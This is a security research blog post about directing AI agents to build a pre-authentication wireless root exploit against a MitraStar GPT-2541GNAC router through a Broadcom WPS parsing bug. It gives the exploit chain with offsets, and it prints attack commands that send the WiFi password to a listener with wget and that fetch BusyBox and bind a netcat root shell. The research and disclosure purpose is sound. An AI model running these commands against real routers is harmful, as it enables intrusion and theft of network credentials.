TL;DR:

I bought a vulnerable Movistar O2 HGU, built a lab around it, and pointed a bunch of AI agents at it. Result: remote code execution as root over the air. No WiFi password, no WPS PIN, no button pressed.

As a bonus, during the research I also discovered a previously undisclosed command injection vulnerability in the router, which I’ve already reported.

I did not find the WPSplinter bug. WPSplinter is Quentin Kaiser’s research (Hexacon 2026). I wanted to see if AI agents could turn Quentin’s research into an exploit for this router.

Short answer: yes. But it took more lab work than prompting.

And yes, I went a little crazy with the AI-generated images. I like them; they are cool 🏴‍☠️.

All the work is available on my GitHub.

The lab

Introduction

In October 2026, Quentin Kaiser published One Parser, Two Bugs, Many Routers. Short version: Broadcom’s legacy WPS implementation has a memory corruption bug. You can trigger it without being joined to the WiFi network, so the WiFi password is irrelevant.

I’m not going to re-explain the bug here. Quentin already did it better than I can. Go read his research; it’s f** cool.

There is no CVE for this bug. The code has been in Broadcom’s SDK since around 2010. Broadcom tried to fix it in 2018 but the bug was not patched correctly, and then recommended everyone move to hostapd. Broadcom is its own CNA and doesn’t intend to assign a CVE identifier.

The thing that got my attention was the affected device list. A device used by Movistar / O2 was on it, MitraStar GPT-2541GNAC.

I spent less than 10€ to get one on a second-hand website. The device had the firmware version ES_g3.5_100VNJ0b54_7 (b54) installed. The latest firmware version was released in February 2025, ES_g8.4_100VNJ0b78 (b78).

I wanted to know if a bunch of agents could reverse the firmware and build an exploit for my router, while I checked their progress and decided the next step.

The lab

Most of the work was setting up the lab.

Attaching a binary to ChatGPT isn’t enough. The agents needed to run tools, test on the router and see the results. Here’s the setup:

  • MitraStar GPT-2541GNAC.
  • ARM64 VM as the working box (radare2, gdb-multiarch, qemu-user, binwalk, scapy, mtd-utils, …).
  • Atheros AR9271 USB WiFi adapter for monitor mode and injection.
  • USB Ethernet adapter on the router LAN for management and observation.
  • A smart plug driven by Home Assistant, exposed to the agent as an MCP server to reboot the device.
  • OpenCode as the main harness, and Claude Code for the initial reverse engineering work.

Lab architecture

The two interfaces do different jobs: the WiFi adapter injects the attack frames, and the Ethernet one is used to watch what the router does (tcpdump) and to host the exfil listener.

The magic of the smart plug

Most failed attempts killed wps_monitor. Only one instance can run at a time. It registers its PID in /tmp/wps_monitor.pid and starts when the device boots up.

Every crash = power-cycle the router. About 3 minutes from cold to a working WPS daemon.

Having switch.router_lab reachable through an MCP meant the agent could say “reboot and wait” instead of me getting up from the chair one hundred times. This integration probably saved me a full day.

About the root shell

During the research I found a command injection in the restricted CLI, over SSH, which is running as root.

Escaping that CLI is a very old sport on these types of devices. These CVEs were assigned to this device:

  • CVE-2017-16523: SSH misconfiguration, you just ask for /bin/sh as a command.
  • CVE-2021-42165: the path parameter of deviceinfo show is not sanitized, straight to root.
  • CVE-2024-9977: same idea on the web side, settings-firewall.cgi.

All of them are fixed on the build used. But the pattern is still there: the CLI keeps building shell strings out of user input and handing them to system(). I found another command that still does it. There is no CVE for that one, so I’m asking for it.

The firmware image was on the internet, so I didn’t need the shell for that part. What the shell gave me was the live device:

  • Pushing a fuller BusyBox build of my own, so I could test things the stock one simply cannot do.
  • Running a gdbserver on it and debugging wps_monitor live.
  • Reading /proc/<pid>/maps of the daemon to calibrate the first chain.

This root access is instrumentation, not a requirement. The final version doesn’t use it. That difference matters later, when the blind chain works.

Who did what

I changed models depending on the work to do:

Model Role
Anthropic models Static reversing of wps_monitor, driving radare2 through r2mcp + r2ghidra.
GLM 5.3 First exploitation phase: the semi-blind RCE.
DeepSeek-v4-pro The blind chain. GLM was not getting there.
Flash variants Documentation and consolidation only. No exploit development.

AI agents Workflow

My job was: define the goal, keep the lab alive, decide what to try next, and check every claim against the actual router. The agents did the disassembly hours, wrote the scripts and produced artifacts I could verify.

That last thing is the difference between this and “ask ChatGPT to hack my router”. In an AI chat, every answer sounds convincing. A breakpoint that never hits doesn’t care how convincing it sounded.

First RCE: semi-blind

With the lab ready, it was time for GLM 5.3 to dance. Once the required structures and offsets were known, it took over the exploit work.

The chain:

  1. Start a WPS session over the air. AUTH + ASSOC without RSNE, then EAPOL-Start, then an EAP-Response/Identity with the exact string WFA-SimpleConfig-Enrollee-1-0. Anything else and the AP just asks again.
  2. Read the live eap_sm from the device and build the payload from those bytes, patching only our fields.
  3. Send fragment 1 with LF|MF, get the real FACK off the air, send fragment 2 with MF=0.
  4. Wait for the AP timeout, resend_last_sent fires, system(&cmd) runs.
19:13:12-17  ICMP echo request x5  192.168.111.1 > 192.168.111.10
19:13:17-21  ICMP echo request x5  192.168.111.1 > 192.168.111.10

ICMP packets were sent by the router, triggered over the radio with no credentials. ping is just the demo; any command up to about 2 KB fits in the buffer.

But: system’s address came from reading /proc/<pid>/maps through the root shell. The vector is pre-auth and wireless, but the calibration was not. That’s why I call it semi-blind, and that’s why it wasn’t my final goal.

Two of the failures on the way are worth keeping:

  • Payload filled with 0x41 padding -> SIGSEGV in wps_get_mode+8. The state machine reads *(sm+0x1044) after fragment 2, and 0x41414141 is not a valid anything. Fix: read the live struct and patch surgically.
  • Fragment 2 with MF=1 -> system() executed six times with garbage. The FACK for MF=1 calls send_data(a0 = sm+0x10) and clobbers last_sent on its way. Fix: MF=0.

Direction changed, not the goal

Quentin’s approach for MIPS relies on a memory leak to resolve the randomized libc base. GLM 5.3 tried the same idea. The leak worked, but the RCE never landed, even after several attempts.

To go fully blind I needed system from the air. The firmware gave me a way to leak the address over EAP-WPS.

You poison next_frag_to_send (+0x101c) to point at an address next to the GOT. The daemon retransmits the fragment from there, in place, and the first 4 bytes that go out over 802.11 are the GOT word required. A read oracle over EAP-WPS itself. No sockets, no second channel.

Global Offset Table (GOT): A lookup table in memory used by ELF executables to resolve the runtime addresses of external shared library functions (like libc routines) at execution time.

It worked. Verified across 8 boots, 14 votes, two cross-checked anchors, calibrating exactly against /proc every single time.

The agent also classified the GOT slots by when they resolve, which is the kind of note that saves you two days:

GOT slot symbol resolved formula
0x43588c printf lazy, do NOT use -
0x435874 signal at init system = leak + 0x9990
0x435a10 getpid at init system = leak + 0x4cea0
0x43593c fprintf at init system = leak + 0x30040

With the leak in hand, the RCE should have been easy. It kept failing.

I spent a lot of time on “it just dies sometimes” before putting a gdbserver on it and catching the actual crash:

pc = t9 = 0x220104          ; garbage from the walk header
ra = 0x40a55c               ; jalr GOT[buffobj_Length], a LAZY slot

I flagged this as the end of this approach. The completion always calls nvram_set and buffobj_Length. Every leak found corrupted something that gets called. GLM 5.3 kept producing variants of the same approach and kept hitting the same wall.

A good vibehacker knows what to do when the token quota is almost empty: switch models.

Blind RCE

DeepSeek took a different path: new model, new plan.

The binary is not PIE. .bss is at a fixed address. And on this device .bss is mapped rwx.

So: don’t call system. Write your own shellcode into .bss, then overwrite a GOT entry that the reassembly path itself is about to call, and let the parser jump into your code.

  1. WPS session over the air -> WSC_START
  2. Valid M1 -> M2D (the retransmit churn flushes the icache for us)
  3. Poison (2098 B): shellcode lands in .bss (rwx); to_recv = 0xFFFF; total_received staged; next_frag_to_send = msg_to_send
  4. frag-R2: makes total_bytes_to_recv = 0xFFFFFFFF and wraps total_received negative, so the bound check passes
  5. frag-W: the wrapped copy lands on GOT[memcpy] and writes the shellcode address into it
  6. frag-T: process_frag calls memcpy() -> jumps into the shellcode -> execve("/bin/sh", ["-c", CMD])

No memory leak. No dependency on randomized libc addresses. No prior privileged access to the device.

ASLR is still there. I just stopped caring about it.

Three checks had to be bypassed, all identified dynamically on the live device via gdbserver + gdb-multiarch instead of static analysis:

  • Continuations only survive if next_frag_to_send == msg_to_send; otherwise they take a branch that silently resets the reassembly state.
  • The wrap only passes the unsigned bound check with total_bytes_to_recv = 0xFFFFFFFF.
  • The id gate drops the fragment if frag_id == eap_id - 1.

So, static analysis showed where to look; the constants were obtained by debugging the router.

First hit: root shell on the router and ICMP captured on the management interface.

The final payload

The payload was just a shell command:

export LD_LIBRARY_PATH=/lib/public:/lib/private:/lib/gpl:/lib
/bin/wget -q -O /dev/null "http://192.168.111.10:8080/$(/bin/nvram get wl0_wpa_psk)"

/bin/nvram get wl0_wpa_psk shows the PSK password in cleartext. The password is exfiltrated in the path of the GET, the classic http://IP:8080/thePassword.

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 --ping-target 192.168.111.10 --exfil http://192.168.111.10:8080/e

# Terminal 2
$ python3 exfil_listener.py

22:56:13.261814 GET /64F01F572F5F6C202821

Exfil

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 --cmd "ping -c 3 -W 2 192.168.111.10"

# Terminal 2
$ sudo tcpdump -i enxc817f5fa059a -n icmp

22:56:10.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 0
22:56:11.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 1
22:56:12.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 2

The first execution shows how to exfiltrate the WiFi password by having a simple webserver listen on an interface accessible by the affected device. The second one uses ICMP for diagnostics (the favourite for the old school hackers). It is also possible to get direct RCE using the tftp of the device to upload a compatible BusyBox in /data/ and then bind a shell.

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 \
       --cmd 'B=$(/bin/busybox grep -e Uid -e Gid /proc/self/status | /bin/busybox base64); /bin/busybox wget -q -O /dev/null "http://192.168.111.10:8080/o/$B"; /bin/busybox tftp -g -r bb -l /data/busybox 192.168.111.10; /bin/busybox chmod +x /data/busybox; /data/busybox nc -l -p 2323 -e /bin/sh &'

# Terminal 2
$ nc 192.168.111.1 2323
uid=0(1234) gid=0(root)      # root, without exposing the key

The listener

Research milestones

Same bug, different approach

The original research also recovered the WiFi password over 802.11, using WiFi as the return channel. Definitely fancier than my HTTP listener, but building a wireless shell was never the goal of this experiment.

Approach Comparison

What this proves

For this device, tested with two different firmware versions (b54 and b78, the latest firmware version), here’s what was confirmed:

  • The vulnerable code is reachable from the air with no credentials and without completing WPS enrollment.
  • Code execution as root (uid=0).
  • The final chain needs no leak, no ASLR bypass and no binaries uploaded to the router.
  • The WPA2 key can be read from nvram in cleartext and sent out.
  • Portability across devices and firmware versions depends on their memory layout. Different builds may share the same layout, but this needs to be verified instead of assumed.

Lessons learned

  1. The biggest improvement wasn’t a prompt. It was giving the agents the capability to reboot the router and debug wps_monitor on the real device.
  2. GLM 5.3 got the semi-blind chain working but couldn’t accomplish the final goal. DeepSeek dropped the leak and tried another path.
  3. Verify everything the agent says. I still had to check every claimed success against the router.

References

Thanks to Quentin Kaiser for the original research and for publishing the tooling. Without the talk and the device list, none of this happens.